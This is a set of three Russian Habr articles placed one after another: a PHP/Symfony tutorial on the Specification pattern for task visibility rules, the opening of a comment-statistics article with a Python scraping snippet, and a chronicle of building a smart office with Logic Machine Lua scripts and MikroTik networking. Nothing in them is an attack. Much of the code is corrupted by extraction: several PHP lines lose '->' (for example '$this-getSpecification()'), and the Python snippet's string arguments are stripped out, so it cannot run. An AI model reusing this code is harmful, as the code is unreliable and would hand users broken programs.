+ {
+ if ($this->authorizationChecker->isGranted(User::ROLE_ADMIN)) {
+ return;
+ }
+
+ $user = $this->currentUserProvider->getUser();
+
+ if ($this->authorizationChecker->isGranted(User::ROLE_MANAGER)) {
+ $queryBuilder->andWhere('t.project in(:projects)')
+ ->setParameter('projects', $user->getProjects());
+
+ return;
+ }
+
+ $queryBuilder->andWhere('t.performedBy = :performedBy')
+ ->setParameter('performedBy', $user);
+ }
+
#[Route('/{id}', name: 'task_show', methods: ['GET'])]
public function show(Task $task): Response
{
+ if (!$this->isViewable($task)) {
+ throw new AccessDeniedHttpException();
+ }
+
return $this->render('task/show.html.twig', [
'task' => $task,
]);
}
+
+ private function isViewable(Task $task): bool
+ {
+ if ($this->authorizationChecker->isGranted(User::ROLE_ADMIN)) {
+ return true;
+ }
+
+ $user = $this->currentUserProvider->getUser();
+
+ if ($this->authorizationChecker->isGranted(User::ROLE_MANAGER)) {
+ return $user->getProjects()
+ ->contains($task->getProject());
+ }
+
+ return $task->getPerformedBy() === $user;
+ }
}
```
Конечно, писать много кода в контроллере — это не очень хорошо. Можно так или иначе раскидать его по сервисам, задействовать стандартные symfony voters. Но основная проблема этого кода в том, что наши бизнес-правила полностью повторяются и в методе filter, и в методе isViewable. И исправление этого факта уже не выглядит столь очевидно. Что можно с этим сделать? Нам нужна абстракция бизнес-правила, работающая как для списка элементов, так и для отдельной сущности. Именно это и предоставляет шаблон "Спецификация".
### Пишем Спецификацию
В настоящий момент я нашел 2 проекта, реализующих данный паттерн для php. [Happyr/Doctrine-Specification](https://github.com/Happyr/Doctrine-Specification) и [K-Phoen/rulerz](https://github.com/K-Phoen/rulerz). При этом первый не поддерживает работу с отдельными объектами (UPD уже [поддерживает](https://github.com/Happyr/Doctrine-Specification/pull/273)), а второй фактически заброшен и на symfony 5 уже не устанавливается. Да и формирование правил в строке, признаться, мне не слишком нравится.
Не беда, для нашей задачи реализовать этот шаблон мы можем и самостоятельно. Я пошел по пути наименьшего сопротивления и поместил логику в саму спецификацию. Это, безусловно, не так гибко и сильно завязывает нас на используемую инфраструктуру доктрины, но для данного примера я счел это не принципиальным.
**Specification.php**
```
php
declare(strict_types=1);
namespace App\Specification;
use Doctrine\ORM\QueryBuilder;
use Symfony\Component\PropertyAccess\PropertyAccess;
abstract class Specification
{
abstract public function isSatisfiedBy(object $entity): bool;
abstract public function generateDql(string $alias): ?string;
abstract public function getParameters(): array;
public function modifyQuery(QueryBuilder $queryBuilder): void
{
}
public function filter(QueryBuilder $queryBuilder): void
{
$this-modifyQuery($queryBuilder);
$alias = $queryBuilder->getRootAliases()[0];
$dql = $this->generateDql($alias);
if (null === $dql) {
return;
}
$queryBuilder->where($dql);
foreach ($this->getParameters() as $field => $value) {
$queryBuilder->setParameter($field, $value);
}
}
protected function getFieldValue(object $entity, string $field): mixed
{
return PropertyAccess::createPropertyAccessorBuilder()
->enableExceptionOnInvalidIndex()
->getPropertyAccessor()
->getValue($entity, $field);
}
}
```
Помимо базовых в спецификации присутствуют вспомогательные методы. Метод filter упрощает ее применение к объекту query builder. Метод getFieldValue
пригодится нам при создании операций.
Одна из главных возможностей, обеспечивающих гибкость применения бизнес-правил, является их композиция. Поэтому все наши спецификации уровня приложения будут наследовать базовый класс CompositeSpecification.
**CompositeSpecification.php**
```
php
declare(strict_types=1);
namespace App\Specification;
use Doctrine\ORM\QueryBuilder;
abstract class CompositeSpecification extends Specification
{
abstract public function getSpecification(): Specification;
public function isSatisfiedBy(object $entity): bool
{
return $this-getSpecification()
->isSatisfiedBy($entity);
}
public function generateDql(string $alias): ?string
{
return $this->getSpecification()
->generateDql($alias);
}
public function getParameters(): array
{
return $this->getSpecification()
->getParameters();
}
public function modifyQuery(QueryBuilder $queryBuilder): void
{
$this->getSpecification()
->modifyQuery($queryBuilder);
}
}
```
И еще нам понадобятся несколько стандартных спецификаций, реализующих базовые операции.
**AlwaysSpecified.php**
```
php
declare(strict_types=1);
namespace App\Specification;
final class AlwaysSpecified extends Specification
{
public function isSatisfiedBy(object $entity): bool
{
return true;
}
public function generateDql(string $alias): ?string
{
return null;
}
public function getParameters(): array
{
return [];
}
}</code
```
**Equals.php**
```
php
declare(strict_types=1);
namespace App\Specification;
final class Equals extends Specification
{
public function __construct(private string $field, private mixed $value)
{
}
public function isSatisfiedBy(object $entity): bool
{
return $this-value === $this->getFieldValue($entity, $this->field);
}
public function generateDql(string $alias): ?string
{
return sprintf('%s.%s = :%2$s', $alias, $this->field);
}
public function getParameters(): array
{
return [
$this->field => $this->value,
];
}
}
```
**MemberOf.php**
```
php
declare(strict_types=1);
namespace App\Specification;
final class MemberOf extends Specification
{
public function __construct(private string $field, private object $value)
{
}
public function isSatisfiedBy(object $entity): bool
{
return $this-getFieldValue($entity, $this->field)
->contains($this->value);
}
public function generateDql(string $alias): ?string
{
return sprintf(':%2$s member of %1$s.%2$s', $alias, $this->field);
}
public function getParameters(): array
{
return [
$this->field => $this->value,
];
}
}
```
**Not.php**
```
php
declare(strict_types=1);
namespace App\Specification;
final class Not extends Specification
{
public function __construct(private Specification $specification)
{
}
public function isSatisfiedBy(object $entity): bool
{
return !$this-specification
->isSatisfiedBy($entity);
}
public function generateDql(string $alias): ?string
{
return sprintf(
'not (%s)',
$this->specification->generateDql($alias)
);
}
public function getParameters(): array
{
return $this->specification
->getParameters();
}
}
```
Добавлять их можно по мере необходимости. Чуть хитрее обстоит дело с объединением таблиц. Я попробовал несколько вариантов и в итоге остановился на этом.
**Join.php**
```
php
declare(strict_types=1);
namespace App\Specification;
use Doctrine\ORM\QueryBuilder;
final class Join extends Specification
{
public function __construct(private string $rootAlias, private string $field, private Specification $specification)
{
}
public function isSatisfiedBy(object $entity): bool
{
return $this-specification
->isSatisfiedBy($this->getFieldValue($entity, $this->field));
}
public function generateDql(string $alias): ?string
{
return $this->specification
->generateDql($this->field);
}
public function getParameters(): array
{
return $this->specification
->getParameters();
}
public function modifyQuery(QueryBuilder $queryBuilder): void
{
$queryBuilder->join(sprintf('%s.%s', $this->rootAlias, $this->field), $this->field);
$this->specification
->modifyQuery($queryBuilder);
}
}
```
### Переходим на бизнес-правила
Теперь, когда все готово, мы можем вынести наше бизнес-правило в отдельный класс. Выглядеть это будет следующим образом.
**IsViewable.php**
```
php
declare(strict_types=1);
namespace App\Specification\Task;
use App\Entity\User;
use App\Security\CurrentUserProvider;
use App\Specification\AlwaysSpecified;
use App\Specification\CompositeSpecification;
use App\Specification\Equals;
use App\Specification\Join;
use App\Specification\MemberOf;
use App\Specification\Specification;
use Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface;
final class IsViewable extends CompositeSpecification
{
public function __construct(private AuthorizationCheckerInterface $authorizationChecker, private CurrentUserProvider $currentUserProvider)
{
}
public function getSpecification(): Specification
{
if ($this-authorizationChecker->isGranted(User::ROLE_ADMIN)) {
return new AlwaysSpecified();
}
$user = $this->currentUserProvider->getUser();
if ($this->authorizationChecker->isGranted(User::ROLE_MANAGER)) {
$isProjectMember = new MemberOf('members', $user);
return new Join('task', 'project', $isProjectMember);
}
return new Equals('performedBy', $user);
}
}
```
А вот в контроллере кода поубавится.
**TaskController.php**
```
namespace App\Controller;
use App\Entity\Task;
-use App\Entity\User;
use App\Repository\TaskRepository;
-use App\Security\CurrentUserProvider;
-use Doctrine\ORM\QueryBuilder;
+use App\Specification\Task\IsViewable;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
use Symfony\Component\Routing\Annotation\Route;
-use Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface;
#[Route('/task')]
final class TaskController extends AbstractController
{
- public function __construct(private AuthorizationCheckerInterface $authorizationChecker, private CurrentUserProvider $currentUserProvider)
+ public function __construct(private IsViewable $isViewable)
{
}
@@ -26,7 +23,7 @@ final class TaskController extends AbstractController
public function index(TaskRepository $taskRepository): Response
{
$queryBuilder = $taskRepository->createQueryBuilder('t');
- $this->filter($queryBuilder);
+ $this->isViewable->filter($queryBuilder);
return $this->render('task/index.html.twig', [
'tasks' => $queryBuilder->getQuery()
@@ -34,29 +31,10 @@ final class TaskController extends AbstractController
]);
}
- private function filter(QueryBuilder $queryBuilder): void
- {
- if ($this->authorizationChecker->isGranted(User::ROLE_ADMIN)) {
- return;
- }
-
- $user = $this->currentUserProvider->getUser();
-
- if ($this->authorizationChecker->isGranted(User::ROLE_MANAGER)) {
- $queryBuilder->andWhere('t.project in(:projects)')
- ->setParameter('projects', $user->getProjects());
-
- return;
- }
-
- $queryBuilder->andWhere('t.performedBy = :performedBy')
- ->setParameter('performedBy', $user);
- }
-
#[Route('/{id}', name: 'task_show', methods: ['GET'])]
public function show(Task $task): Response
{
- if (!$this->isViewable($task)) {
+ if (!$this->isViewable->isSatisfiedBy($task)) {
throw new AccessDeniedHttpException();
}
@@ -64,20 +42,4 @@ final class TaskController extends AbstractController
'task' => $task,
]);
}
-
- private function isViewable(Task $task): bool
- {
- if ($this->authorizationChecker->isGranted(User::ROLE_ADMIN)) {
- return true;
- }
-
- $user = $this->currentUserProvider->getUser();
-
- if ($this->authorizationChecker->isGranted(User::ROLE_MANAGER)) {
- return $user->getProjects()
- ->contains($task->getProject());
- }
-
- return $task->getPerformedBy() === $user;
- }
}
```
Отлично! Повторения кода больше нет. Но что если мы усложним условия?
Представим, что в списке у менеджера и разработчика должны выводиться только задачи, статус проекта которых не равен "archived".
**IsViewable.php**
```
use App\Entity\User;
use App\Security\CurrentUserProvider;
use App\Specification\AlwaysSpecified;
+use App\Specification\AndX;
use App\Specification\CompositeSpecification;
use App\Specification\Equals;
use App\Specification\Join;
use App\Specification\MemberOf;
+use App\Specification\Not;
+use App\Specification\Project\IsArchived;
use App\Specification\Specification;
use Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface;
@@ -26,14 +29,23 @@ final class IsViewable extends CompositeSpecification
return new AlwaysSpecified();
}
+ $isNotArchived = new Not(new IsArchived());
$user = $this->currentUserProvider->getUser();
if ($this->authorizationChecker->isGranted(User::ROLE_MANAGER)) {
$isProjectMember = new MemberOf('members', $user);
- return new Join('task', 'project', $isProjectMember);
+ return $this->getProjectSpecification(new AndX($isNotArchived, $isProjectMember));
}
- return new Equals('performedBy', $user);
+ return new AndX(
+ new Equals('performedBy', $user),
+ $this->getProjectSpecification($isNotArchived)
+ );
+ }
+
+ private function getProjectSpecification(Specification $specification): Join
+ {
+ return new Join('task', 'project', $specification);
}
}
```
### Выводы
Безусловно реализация данного паттерна в моем исполнении прямолинейна и очень наивна. Будут возникать вопросы с коллизией имен, да и с объединением таблиц все вероятно сложнее. Однако я пока не вижу принципиально нерешаемых проблем. Да и такая простая реализация уже способна приносить пользу. Количество условий в задаче можно увеличивать и дальше. Вынося их в процессе в отдельные спецификации и комбинируя по своему усмотрению. Но главное остается неизменным — каждая спецификация по-прежнему работает как для фильтрации на уровне БД, так и для отдельной сущности. И лично мне не известны другие способы добиться того же. Буду рад, если кто-нибудь упомянет о них в комментариях.
Да и вообще, что вы думаете о данном паттерне? Почему он так мало представлен в php? И можно ли ожидать, что он станет стандартом на уровне фреймворков?
С полным примером из статьи можно ознакомиться на [github](https://github.com/vshmakov/specifications). | https://habr.com/ru/post/540082/ | null | ru | null |
# Хабрастатистика: анализируем комментарии читателей
Привет Хабр. В [предыдущей части](https://habr.com/ru/post/467429/) была проанализирована популярность различных разделов сайта, и параллельно возник вопрос — какие данные можно извлечь из комментариев к статьям. Также хотелось проверить одну гипотезу, о которой скажу ниже.
Данные получились довольно интересные, также удалось составить небольшой «мини-рейтинг» комментаторов. Продолжение под катом.
Сбор данных
-----------
Для анализа мы будем использовать данные за этот, 2019 год, тем более что список статей в виде csv у меня уже был получен. Осталось извлечь из каждой статьи комментарии, к счастью для нас, они хранятся там же, и никаких дополнительных запросов делать не нужно.
Для выделения комментариев из статьи достаточно следующего кода:
```
r = requests.get("https://habr.com/ru/post/467453/")
data_html = r.text
comments = data_html.split('', '')# .replace('\n', '-')
if len(body) < 4: continue
body = body.translate(str.maketrans(dict.fromkeys("\t\n\r\v\f")))
body = body.replace('"', "'").replace(',', " ").replace('
', ' ').replace('', '').replace('
', '').replace(' ', ' ')
user = Str(comment).find_between('data-user-login', '>').find_between('"', '"')
date_str = Str(comment).find_between('').find\_between('').find\_between('>', '<')
date = dateparser.parse(date\_str)
csv\_data = "{},{},{},{}".format(user, date, vote, body)
comments\_list.append(csv\_data)
``` | https://habr.com/ru/post/467653/ | null | ru | null |
# Хроники ремонта: как мы делали новый умный офис Madrobots. Часть вторая, умная
У нас в компании есть отличная традиция. Раз в полгода мы собираемся вместе и что-нибудь строим. Год назад это была [горбушка](http://habrahabr.ru/company/madrobots/blog/221697/), полгода назад — [мега](http://habrahabr.ru/company/madrobots/blog/239049/). А в этот раз мы сделали наш новый офис!
Под катом вас ожидает большое количество картинок, 5 заключительных глав про то, как из склада женских сапог мы сделали высокотехнологичный офис в стиле «лофт», описание того, как мы делали этот офис умным и некоторое количество смешных картинок. Не переключайтесь!
##### Часть первая
* [Глава первая. Предыстория, или о том, как все начиналось](http://geektimes.ru/company/madrobots/blog/259494/#g1)
* [Глава вторая. О том, что надо сделать первым делом и о том, что мы придумали](http://geektimes.ru/company/madrobots/blog/259494/#g2)
* [Интермедия первая. Коля и фотографии.](http://geektimes.ru/company/madrobots/blog/259494/#i1)
* [Глава третья. О том, что ломать — не строить и о том, что снос — это часть строительства. И немного о первом этаже](http://geektimes.ru/company/madrobots/blog/259494/#g3)
* [Глава четвертая. О полах, украинских рабочих и порядке следования слоев покраски](http://geektimes.ru/company/madrobots/blog/259494/#g4)
* [Глава пятая. О ванной комнате с душем, теплым полом и обязательно писсуаром. И о том, как все это уместить под лестницей](http://geektimes.ru/company/madrobots/blog/259494/#g5)
* [Глава шестая. О витой проводке, откатах, подиуме, наклейках и о трудностях выбора розеток](http://geektimes.ru/company/madrobots/blog/259494/#g6)
* [Интермедия вторая. Как мне давали откат](http://geektimes.ru/company/madrobots/blog/259494/#i2)
##### Часть вторая
* [Глава седьмая. О вентиляции, кондиционировании, дизайнерской логике, и о том, как режут стены.](http://geektimes.ru/company/madrobots/blog/262622/#g7)
* [Глава восьмая(большая). О щитках, проводах, автоматах и умном офисе.](http://geektimes.ru/company/madrobots/blog/262622/#g8)
* [Глава девятая(короткая). О сети и интернете.](http://geektimes.ru/company/madrobots/blog/262622/#g9)
* [Глава десятая(ругательная). О входной двери, мужиках с болгарками и системе СКД](http://geektimes.ru/company/madrobots/blog/262622/#g10)
* [Глава одиннадцатая. Заключительная, но не окончательная. О переезде, доделках, недоделках и рабочих местах.](http://geektimes.ru/company/madrobots/blog/262622/#g11)
#### Глава седьмая. О вентиляции, кондиционировании, дизайнерской логике, и о том, как режут стены.
И, когда конец ремонта начинал хоть немного быть виден, мы задумались о том, что никто особо не задумывался о вентиляции. Пришлось задуматься. Причем серьезно так задуматься — в условиях ограниченного бюджета мы не могли позволить себе даже нормальной приточно-вытяжной установки, не говоря уж о канальных кондиционерах.
После того, как мы проконсультировались с специалистами, и они все как один сказали, что стоимость вентиляции начнется от 250 тысяч, а вентиляции с кондиционированием — от 500, нам стало грустно. Дизайнеры предложили просто насверлить побольше дырок:
Кроме того, что эти дырки создавали бы отличный сквозняк на полу в офисе, по расчетам, они бы обеспечивали циркуляцию воздуха максимум человек на пять, а мы ориентировались на 25. В итоге, после нескольких встреч и разговоров со специалистами, мы нашли единственный вариант, ~~который нам подходил~~ на который у нас хватало денег — отдельную вытяжку с притоком через «естественные щели» и открытые окна, и два обычных настенных кондиционера.
Приглашаем специально обученного человека, который специальной машинкой делает отверстия в стенах для того, чтобы провести через них трубы вытяжки:
Машинка представляет собой двигатель, закрепленный на станине, которая, в свою очередь крепится к стене анкерами.
Двигатель вращает алмазную коронку большого радиуса, которая и режет стену. Все это сверху поливается водой, чтобы не создавать лишней пыли. Через десяток-другой минут проходим стену и выходим на улицу:
На стене остаются лишь красные кирпичные потеки:
А куда девается то, что находится внутри, спросите вы? А никуда не девается. Остается внутри коронки, а затем из нее вытряхивается в виде вот таких больших кирпичных цилиндров:
Осталось сделать саму систему вентиляции. Фотографий у меня не сохранилось, к сожалению, но делается она не очень сложно — набирается как конструктор из труб, тройников, сгибов, и вентиляционных решеток и крепится на анкеры и шпильки к потолку. Кстати, тут еще потолок до того, как начали вешать витой провод для освещения — весь утыканный изоляторами.
Устанавливается да, не очень сложно. А рассчитывается(диаметры труб, размеры отверстий) — сложно. Например, имея хоть какой мощный вентилятор, вам все равно придется делать вентиляционные отверстия маленькими — иначе в трубе не будет нужного разрежения, и вентилятор будет сосать воздух из ближайшей к нему большой дырки, в то время как дальние вентиляционные отверстия работать не будут.
Получается симпатично:
Не забываем про вентиляцию на кухне:
Выводим трубу на улицу и устанавливаем вытяжной вентилятор:
Какая-никакая, а вытяжка готова. Она, по крайней мере позволит не сидеть в помещении с высоким содержанием углекислого газа и больными головами.
Проверяем, получится ли отмыть вторично засраный пол:
Получается. Это хорошо — означает, что его не надо больше зачищать, а достаточно как следует помыть, и возможно заново покрыть морилкой, а затем — лаком.
#### Глава восьмая(большая). О щитках, проводах, автоматах и умном офисе.
Настало время заняться самым интересным делом из ремонта — электрикой. И не протягиванием проводов, а щитками, релюшками, контроллерами, роутерами, точками доступа и тому подобными вещами. По рекомендации на сайте cs-cs.net была найдена компания, которая занимается проектированием и сборкой щитков(рекомендую, [electro.moscow](http://electro.moscow/), аккуратно и не очень дорого). Изначально планировали, что и монтажом займутся они, но у них уже был заказ, а мы спешили. Поэтому мы сделали подобие кабельного журнала:
И через пару недель после оплаты нам привезли щиток. Нет, не так, Щиток:
У них, кстати, есть небольшой [постик](http://electro.moscow/raspredelitelnyj-shhitok-dlya-ofisa-madrobots-ru/) про наш щиток в блоге. Смотрите, какой красавец:
А вот так он выглядит будучи уже установленным в отведенное ему место:
Ну разве не красота? Собран он почти весь на компонентах ABB, трехфазный, автоматы на каждый канал, общие диф-автоматы на 30mA на каждую фазу, для управляемых каналов — втычные(да, серьезно, они так и называются!) реле, опять же, от ABB на 24 вольта.
Начинаем подключать. Подключение заключается в том, что надо взять пучки проводов, сходящихся из всех уголков офиса:
[Зачистить](https://instagram.com/p/1DvBALMU4t/) их:
Красиво промаркировать, чтобы потом не перепутать, и зажать в зажимы, согласно схеме щитка:
Чтобы не путаться, на каждый автомат клеим название канала, напечатанное на [принтере](http://geektimes.ru/company/madrobots/blog/259494/#ptouch) наклеек. Так как наклейка закрывает собой номинал автомата, указываем на ней и номинал тоже:
Не дожидаясь окончания, проверяем работу, подключая к реле блок питания на 24 вольта:
Есть свет в туалете! Первый свет в офисе!
Подключаем дальше. Ищем потерянный немаркированный кабель:
К слову, был не немаркированный только потому, что прокладывали его еще до того, как привезли принтер. А с маркировкой кабелей проблем не было ни разу, кроме случая, когда я каким-то образом умудрился потерять кабель освещения, и три недели думал, что он застрял где-то между перекрытиями. А оказалось, что он зачищен и заведен в щиток, помеченный как «резерв». Мда. Три недели мы жили без света на кухне.
[Удлиняем](https://instagram.com/p/1Fc5AysU_k/) некоторые кабели:
Пришлось так сделать, потому что из-за строения стены были вынуждены расположить щиток ниже, чем планировали, и некоторые кабели не достали до клемм.
Выводим интересную закономерность: «В процессе ремонта происходит спонтанная незаметная человеку трансгрессия инструментов из ящика с ними на все чистые горизонтальные поверхности в радиусе двух метров»:
Проще говоря — инструменты оказываются даже на ступеньках стремянки, даже в том случае, если она активно используется.
Наконец, весь щиток подключен:
Может быть, получилось не очень аккуратно, но кабели толстые и твердые, а места было очень мало.
Печатаем и клеим на автоматы, к которым пока еще ничего не подключено на другом конце провода, предупреждающие наклейки:
Потому что будет очень нехорошо, если на висящем кабеле вдруг появится 220 вольт. Больно будет. И человеку, который найдет эти 220 вольт, и мне, от этого человека.
Наконец, можно заняться автоматикой. Устанавливаем контроллер, блок питания для него, и блок питания для роутера, к которому контроллер подключается по Ethernet:
Рядом с реле устанавливаем расширитель портов:
Дело в том, что сам контроллер в этой версии не имеет входов и выходов, на которые можно подать напряжение или узнать их статус. Вместо этого он имеет выходы на различные протоколы, по которым управляется оборудование умного дома — KNX, DALI, RS-485, MODBUS, и так далее. Вот именно этот расширитель портов подключается по MODBUS(который на самом деле реализуется поверх физического уровня RS-485, который представляет собой тот же UART, правда полудуплексный, и для надежности представленный в виде дифференциальной пары). В вопросу подключения мы конечно же подошли творчески и сплели ему симпатичную косичку в цветах Российского триколора:
Правда, я постоянно путал цвета проводов, и это стоило мне нескольких часов отладки в поисках ответа на вопрос «почему все не работает?»
К расширителю портов подключаем слаботочные входы реле(внизу):
Общий план:
Где-то тут строители, продолжающие работы на втором этаже решили, что выключать свет очень удобно общим рубильником. Пришлось их предупредить:
На строителей вроде подействовало, а вот [ni404](http://geektimes.ru/users/ni404/) не впечатлился(точнее просто не заметил в темноте) и сорвал наклейку на следующий же день:
Ему ничего не было. Ну, понимаете, угрожать директору — это совсем не то же самое, что угрожать рабочим.
Так вот, о чем я. О Logic Machine. Это рай, честно. Я покажу тут только самое основное, а подробнее — уже в следующих статьях. Вот так выглядит стартовая страница, которую видно, если зайти на LM браузером:
Первая иконка — это как раз интерфейс настройки. Вторая — системные настройки вроде сетевых, третья и четвертая — это пользовательские визуализации, потом идут настройки расписания и графики состояния разных параметров. Заходим в первую и переключаемся на вкладку Modbus — нам в первую очередь надо подключить и настроить расширитель портов:
Тут стандартные настройки последовательного порта, которые знакомы, пожалуй, всем. Разве что режим у RS485 всегда полудуплексный — или принимаем или передаем, из-за того, что канал у нас один. Теперь настраиваем сам расширитель портов:
Тут самое главное — modbus-номер устройства. На одной шине может быть много устройств, и у каждого есть свой уникальный номер, с помощью которого можно обращаться к нему — запрашивать состояния входов и управлять выходами.
Подключив и настроив расширитель портов, можно заняться как раз выходами и входами:
Тут мы назначаем соответствия выходов расширителя портов внутренним объектам LM. Собственно, объекты — это один из краеугольных камней всей логики LM, и большая часть взаимодействий идет через них. Вот тут мы уже привязали состояние выходов и входов расширителя портов к объектам и назвали объекты в соответствии с тем, каким каналом освещения управляет реле, которое управляется выходом расширителя портов, который управляется объектом.
Например, HL-12 — это свет в туалете. А «Motion Sensor Toilet», как несложно догадаться — вход от датчика движения в туалете. Выход датчика(+12в — нет движения, 0в — есть движение) мы так же вешаем на один из входов расширителя.
Вот так это выглядело во время отладки:
Теперь контроллер знает, когда в туалете есть движение, а когда нет. Осталось что-то сделать с этим знанием. Для этого в LM есть скрипты, которые выполняются при изменении состояния объекта(а оно, напомню, изменится у нас, когда датчик движения поймет, что в его поле зрения кто-то есть, уронит на своем входе напряжение, это увидит расширитель, LM при очередном его опросе получит с него значение напряжения и обновит состояние объекта).
Итак, создаем скрипт, и пишем в него что-то типа вот такого:
Код пишется на lua, довольно простом и наглядном языке. Что тут происходит. Если напряжение на входе от датчика упало ниже 5 вольт, значит зафиксировано движение в туалете. Если свет выключен, то его включаем и пишем в лог событие. Последнее условие необходимо для того, чтобы не плодить записи в логе и события при каждом выполнении скрипта, если свет уже включен и горит.
Готово, мы сделали первый скрипт на LM и можем наконец-то помыть руки не в темноте. Входим, свет загорается, руки помыты… А свет не выключается сам. Конечно, это же мы еще не сделали.
Придумываем, как оно будет работать — пусть каждое срабатывание датчика движения записывает в переменную текущее время, а фоновый скрипт периодически это время проверяет, и если оно отстоит от текущего больше, чем на 10, например, минут(нет, 5 минут мало. 5 минут человек легко может сидеть неподвижно, я проверял), то значит, там уже никого 10 минут нет, и свет можно выключить. И еще хорошо бы вентилятор включать, когда человек ушел, а когда зашел — выключать. Сказано — сделано. Изменяем вышеприведенный код на такой:
```
if (grp.getvalue('MS_Bathroom') < 5) then
storage.set('HL-12-MSstart', os.time())
if (grp.getvalue('HL-12') == false) then
grp.update('HL-12', true)
grp.update('HP-1.1', false)
log("Bathroom: motion detected, on light, off vent")
end
end
```
Добавляется строчка «storage.set('HL-12-MSstart', os.time())», которая сохраняет в хранилище с тегом «HL-12-MSstart» текущее время. Обратите внимание, строчка стоит до проверки включен ли свет, потому что она должна работать каждый раз при срабатывании датчика движения. И строчка «grp.update('HP-1.1', false)», которая выключает вентилятор.
Теперь создаем еще один скрипт, но не тот, который выполняется при событии, а Resident — который вызывается через определенное количество секунд. Настраиваем запуск скрипта каждые 30 секунд:
И делаем внутри такую логику:
```
local HL_12_diff = os.difftime (os.time(), storage.get('HL-12-MSstart'))
local HL_12 = grp.getvalue('HL-12')
local delay = 10*60
if (delay < HL_12_diff and HL_12 == true) then
grp.update('HL-12', false)
grp.update('HP-1.1', true)
log("Bathroom: off light(timer), vent on")
end
```
Первой строкой мы получаем разницу между временем последнего срабатывания датчика движения и текущим временем, а затем проверяем, не больше ли оно чем 600 секунд. Если больше — выключаем и свет и включаем вентилятор.
Теперь надо сделать и немного пользовательского интерфейса(псс, парень, не хочешь немного юзерспейса?). В LM есть способы как простые, так и позволяющие сделать практически любой дизайн(а если что-то нельзя в LM, есть [iRidium Mobile](http://geektimes.ru/company/iridiummobile/blog/259012/), которым можно реализовать уже самые больные фантазии дизайнера). Но мы пока пойдем по самому простому и быстрому пути. Открываем вкладку Visualization, создаем новый план, и кидаем на него иконки всех объектов, которыми мы хотим управлять:
Их можно красиво разместить, например, [на 3D плане офиса](https://instagram.com/p/y4JgucCgzA/), да еще и нарисовав кастомные иконки состояний, но это более сложный путь, и я расскажу про него в следующих статьях. А сейчас красота размещения нас не волнует, потому что пользователь этого все равно не увидит.
Сохраняем план, и зайдя в его настройки, скрываем «Usermode visualization» — это тот самый план с иконками и картинками, и включаем и делаем по-умолчанию «Touch visualization».
Теперь, если опять открыть веб-интерфейс LM и нажать на четвертую иконку(Touch visualization), то мы увидим вот такой симпатичный интерфейс, которым уже можно пользоваться:
А с телефона он смотрится вот так:
Иконка на первой скриншоте — это не программа, это просто ярлык на страницу, который можно добавить для любого сайта, если открыть его в safari. Последний скриншот — это маленькая сервисная панель под паролем, к которой не следует пускать всех пользователей.
В итоге, логика работы умного дома выглядит примерно вот так:
Вообще, панель управления и логика уже очень сильно разрослась по сравнению с тем, что было полгода назад. Например, все, что мы напрограммировали на Logic Machine можно посмотреть [тут](https://instagram.com/explore/tags/poweredbylogicmachine/) по тегу #poweredbylogicmachine.
Там очень много интересных решений, о которых я напишу еще не одну статью. Правда, не всем нравится:
#### Глава девятая(короткая). О сети и интернете.
Интернет! Нам нужен интернет. И локальная сеть. Потому что свет в офисе уже работает, а вот управлять им можно только если подключать ноут проводком к роутеру на первом этаже. Полтора десятка кабелей езернета с первого на второй этаж я предусмотрительно прокинул еще на этапе разведения силовых кабелей:
Сеть строил конечно же на Mikrotik( [Meklon](http://geektimes.ru/users/meklon/), привет!):
Посоветовавшись с их дилерами(микротик.рф, рекомендую, грамотные, быстрые, помогли выбрать, ~~дали скидку~~), выбрали следующий комплект оборудования: внизу роутер [RB750](http://www.xn--h1aafbgonr.xn--p1ai/katalog/marshrutizatory_1/rb750/), который работает главным — на нем маршрутизация, интернет, выдача адресов, vpn-сервер и так далее. Позже мы его заменили на [RB951G](http://www.xn--h1aafbgonr.xn--p1ai/katalog/vnutrikomnatnogo_ispolneniya_s_antennoy/rb951g_2hnd/) ради Wifi на первом этаже. Из-за того, что это Mikrotik, миграция заняла всего около часа — слить конфигурацию, поменять роутеры местами, залить конфигурацию.
Для Wifi на втором этаже была взята плата [RB912UAG](http://www.xn--h1aafbgonr.xn--p1ai/katalog/oborudovanie-mikrotik-komplektuyushchie-materinskie-platy/rb912uag_2hpnd/), в которую была вставлена Wifi карта на 5ГГц [R11e-5HnD](http://www.xn--h1aafbgonr.xn--p1ai/katalog/oborudovanie-mikrotik-komplektuyushchie-radiokomponenty/r11e_5hnd/), и потолочный [корпус](http://www.xn--h1aafbgonr.xn--p1ai/katalog/oborudovanie-mikrotik-komplektuyushchie-korpusa/rf_elements_stationbox_inspot/) для нее. Собираем конструктор:
С таким комплектом мы получаем две Wifi сети — на 2.4 и на 5 ГГц с одного роутера, который аккуратно висит на потолке, подключенный одним кабелем(он питается по PoE). Правда, дизайнеры сказали, что его надо покрасить в черный. Не вопрос, красим:
И устанавливаем:
Немного задавливаем мощность передатчика, иначе на первом этаже сеть ловилась отлично(еще бы, 1W мощности) а толку от нее не было — слабые передатчики телефона и ноутбука не пробивали перекрытия.
Теперь там сеть не ловится, проблема решена.
Последний штрих — очищаем интернет в офисе от рекламы c помощью [скрипта](http://habrahabr.ru/post/264001/) для микротика. Разработчики, что арендуют у нас часть рабочих мест, ругаются, что их любимый сервис для управлениям рекламными компаниями попал под блокировку. Отключаем скрипт обратно.
#### Глава десятая(ругательная). О входной двери, мужиках с болгарками и системе СКД
Настало время еще одного атрибута офиса — входной двери. Жить с дверью, на которой написано «пупок» — это как-то… не очень.
Одно время у нас была мысль поставить систему входа на основе биометрии — со считывателем отпечатка пальцев, но насмотревшись на дешевые считыватели в нашем старом офисном здании и узнав цену дорогих, мы отказались от этой идеи. Решили делать обычную систему с RFID-пропусками. На самом деле, она достаточно проста в установке, правда с небольшими тонкостями. Для простейшей СКД-системы нужны всего 3 компонента: дверь с замком, контроллер и считыватель. Ну и блок питания, естественно.
Теперь более подробно. Пункт первый — замок. Он может быть электромагнитным, как на дверях в подъезды, или электромеханическим, который можно открыть и ключом, и подав питание на контакты. Электромагнитный дешевле, но имеет минус — при пропадании напряжения дверь открывается. Соответственно, не стоит им защищать серьезные вещи, чтобы дверь не могли открыть, просто отключив вам питание. Можно, конечно, поставить ИБП для такой системы, и это вполне распространённое решение, но не очень большое усилие на отжим зачастую позволяет открыть такие двери просто используя лом в качестве рычага. В общем, не очень безопасно.
